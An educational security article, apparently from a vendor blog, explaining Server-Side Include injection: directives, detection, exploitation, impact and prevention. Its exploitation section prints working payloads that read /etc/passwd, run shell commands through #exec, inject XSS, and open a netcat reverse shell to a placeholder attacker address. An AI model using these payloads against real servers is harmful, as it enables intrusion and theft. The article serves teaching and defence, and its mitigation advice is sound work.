What is SSI (Server-Side Include) Injection? Ways to Exploit, Examples and Impact

Server-Side Include (SSI) Injection is a web security vulnerability that allows an attacker to inject code into a web application, which is then executed by the server. While often overshadowed by more modern vulnerabilities like Server-Side Template Injection (SSTI), SSI Injection remains a critical threat, especially in legacy environments and embedded systems. By exploiting this flaw, attackers can gain unauthorized access to sensitive files, leak environment variables, and in the worst-case scenario, achieve full Remote Code Execution (RCE) on the underlying host.

What are Server-Side Includes (SSI)?

To understand the injection, we must first understand the technology. Server-Side Includes (SSI) are directives placed in HTML pages and evaluated on the server while the pages are being served to the user. They allow developers to add dynamic content to existing HTML documents without having to serve the entire page through a complex CGI script or a heavy backend language like Java or C#.

SSI is most commonly associated with the Apache HTTP Server (via mod_include) and Nginx. It is typically identified by file extensions such as .shtml, .shtm, or .stm. However, servers can be configured to parse standard .html files for SSI directives as well.

Common SSI Directives

The syntax for an SSI directive is relatively straightforward. It looks like an HTML comment, which ensures that if the server fails to process the directive, it remains hidden from the end-user in the browser. The basic format is:

<!--#directive parameter="value" -->

Some of the most frequently used directives include:

• #echo: Used to display the value of a variable (e.g., <!--#echo var="DATE_LOCAL" -->).
• #include: Inserts the text of another document or file into the parsed file (e.g., <!--#include virtual="/footer.html" -->).
• #exec: Executes a shell command and outputs the result (e.g., <!--#exec cmd="ls" -->). This is the most dangerous directive.
• #fsize: Displays the size of a specified file.
• #flastmod: Displays the last modification date of a specified file.
• #config: Controls various aspects of the parsing, such as error messages or date formats.

How SSI Injection Vulnerabilities Occur

An SSI Injection vulnerability occurs when an application takes user-supplied input and incorporates it into an HTML page that is subsequently parsed by the server for SSI directives. If the application fails to properly sanitize or validate the input, an attacker can submit a string containing an SSI directive. The server, seeing the <!--#... --> syntax, will execute the command before sending the final page to the user.

Consider a simple web application that allows users to sign a guestbook. When a user submits their name, the application saves it and displays it on a page named guestbook.shtml. If a user enters their name as John Doe, the server might generate the following HTML:

<p>Latest visitor: John Doe</p>

However, if an attacker enters <!--#exec cmd="whoami" --> as their name, the server-side source code might look like this:

<p>Latest visitor: <!--#exec cmd="whoami" --></p>

When the server processes this .shtml file, it executes the whoami command and replaces the directive with the output, such as www-data. The attacker has successfully executed a command on the server.

Detecting SSI Injection Vulnerabilities

Identifying SSI Injection requires a mix of manual probing and automated scanning. As a security professional or developer, you should look for the following indicators:

1. File Extensions

As mentioned, keep an eye out for .shtml, .shtm, .stm, and .phtml files. These are the traditional indicators that the server is configured to handle SSI. If you find these extensions, the probability of an SSI-related misconfiguration increases significantly.

2. Header Analysis

Check the HTTP response headers. Sometimes, the Server header might reveal the use of older versions of Apache or Nginx where SSI might be enabled by default for specific directories. Additionally, look for headers like X-Powered-By that might hint at legacy backend technologies.

3. Probing with Payloads

The most reliable way to detect the vulnerability is to inject a benign SSI directive and check for a change in the server's response. A common "canary" payload is:

<!--#echo var="DATE_LOCAL" -->

If the server returns the current date and time instead of the literal string, the application is vulnerable to SSI Injection. You can also try to trigger an error by providing an invalid directive and seeing if the server returns a default SSI error message, such as [an error occurred while processing this directive].

Exploiting SSI Injection: Step-by-Step Examples

Once a vulnerability is confirmed, the level of exploitation depends on the server configuration and the permissions of the web server user.

1. Information Gathering and Environment Disclosure

Before attempting to take over the server, an attacker will usually gather information about the environment. This helps in tailoring further attacks. The #echo directive is perfect for this.

Payload:

<!--#echo var="DOCUMENT_ROOT" -->
<!--#echo var="SERVER_SOFTWARE" -->
<!--#echo var="USER_NAME" -->

By injecting these, an attacker can map out the directory structure and identify the specific software versions running, which may have known CVEs. If the attacker wants to see all environment variables, they might use:

Payload (on some systems):

<!--#printenv -->

2. Reading Sensitive Files

If the exec directive is disabled (which is common in slightly more secure configurations), an attacker might still be able to use the #include directive to read local files. This is similar to a Local File Inclusion (LFI) attack.

Payload:

<!--#include file="/etc/passwd" -->

Note that many modern SSI implementations restrict the #include directive to the web root or specific virtual paths. However, if the server is misconfigured, this can lead to the disclosure of configuration files, source code, or system credentials.

3. Remote Code Execution (RCE)

This is the ultimate goal for most attackers. If the cmd parameter in the #exec directive is enabled, the attacker has a direct line to the server's shell.

Payload (List directory):

<!--#exec cmd="ls -la" -->

Payload (Reverse Shell):
An attacker might attempt to gain a persistent connection by executing a reverse shell. For example, using Netcat:

<!--#exec cmd="nc -e /bin/sh 10.10.10.10 4444" -->

If successful, the server initiates a connection back to the attacker's machine, providing full interactive access to the system under the context of the web server user.

4. Cross-Site Scripting (XSS) via SSI

SSI Injection can also be used as a vehicle for Cross-Site Scripting. If an attacker cannot execute commands, they might still be able to inject JavaScript that executes in the context of other users' browsers.

Payload:

<!--#echo var="<script>alert('XSS')</script>" -->

While this is technically an XSS attack, the source of the injection is the SSI engine, making it a hybrid vulnerability.

SSI Injection vs. Other Vulnerabilities

It is important to distinguish SSI Injection from other similar-sounding vulnerabilities:

• Cross-Site Scripting (XSS): XSS targets the user's browser. SSI Injection targets the server. While SSI Injection can lead to XSS, its primary impact is on the server-side environment.
• Server-Side Template Injection (SSTI): SSTI occurs in modern web frameworks (like Jinja2, Twig, or FreeMarker). While the concept is the same—injecting code into a template—the syntax and the underlying engines are entirely different. SSI is much older and lower-level.
• SQL Injection: SQLi targets the database. SSI Injection targets the web server's filesystem and operating system. Both involve the failure to separate data from instructions.

Real-World Impact of SSI Injection

The impact of a successful SSI Injection attack can be devastating. Because the vulnerability allows for command execution, the entire CIA triad (Confidentiality, Integrity, and Availability) is at risk.

1. Data Breach: Attackers can read sensitive files, including database credentials, API keys, and customer data.
2. Server Takeover: By establishing a reverse shell, an attacker can use the compromised server as a pivot point to attack other internal systems within the organization's network.
3. Defacement: An attacker can modify the HTML content of the site, damaging the organization's reputation.
4. Malware Distribution: The server can be used to host or distribute malware to unsuspecting visitors.

How to Prevent SSI Injection

Securing your application against SSI Injection requires a multi-layered approach. Here are the most effective mitigation strategies:

1. Disable SSI Entirely

If your application does not explicitly require Server-Side Includes, the best course of action is to disable the module entirely. In Apache, this means ensuring mod_include is not loaded or removing the Includes option from your directory configurations.

2. Disable Dangerous Directives

If you must use SSI, disable the most dangerous directives, specifically #exec. In Apache, you can use the IncludesNoExec option instead of Includes. This allows basic SSI functionality like #echo and #include while preventing command execution.

<Directory "/var/www/html">
    Options +IncludesNoExec
</Directory>

3. Strict Input Validation and Encoding

Never trust user input. All data provided by users should be validated against a strict allowlist. Furthermore, before reflecting user input in an HTML page, ensure that it is properly HTML-encoded. Encoding characters like <, >, !, and - will prevent the server from recognizing the input as the start of an SSI directive.

4. Use Modern Alternatives

For most modern web applications, SSI is an outdated technology. Consider using modern templating engines or frontend frameworks that have built-in protections against injection vulnerabilities. Languages like PHP, Python, and Node.js offer much more robust ways to handle dynamic content with better security controls.

5. Principle of Least Privilege

Ensure that the web server process (e.g., www-data or apache) runs with the minimum necessary permissions. Use filesystem permissions to restrict the web server's ability to read sensitive files outside of the web root or execute system binaries.

Conclusion

SSI Injection is a classic example of what happens when data and instructions are mixed. While it may seem like a relic of the past, its presence in legacy systems and specific server configurations makes it a persistent threat that security professionals must understand. By identifying the tell-tale signs of SSI usage and implementing robust input validation and server hardening, you can protect your infrastructure from this potent attack vector.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.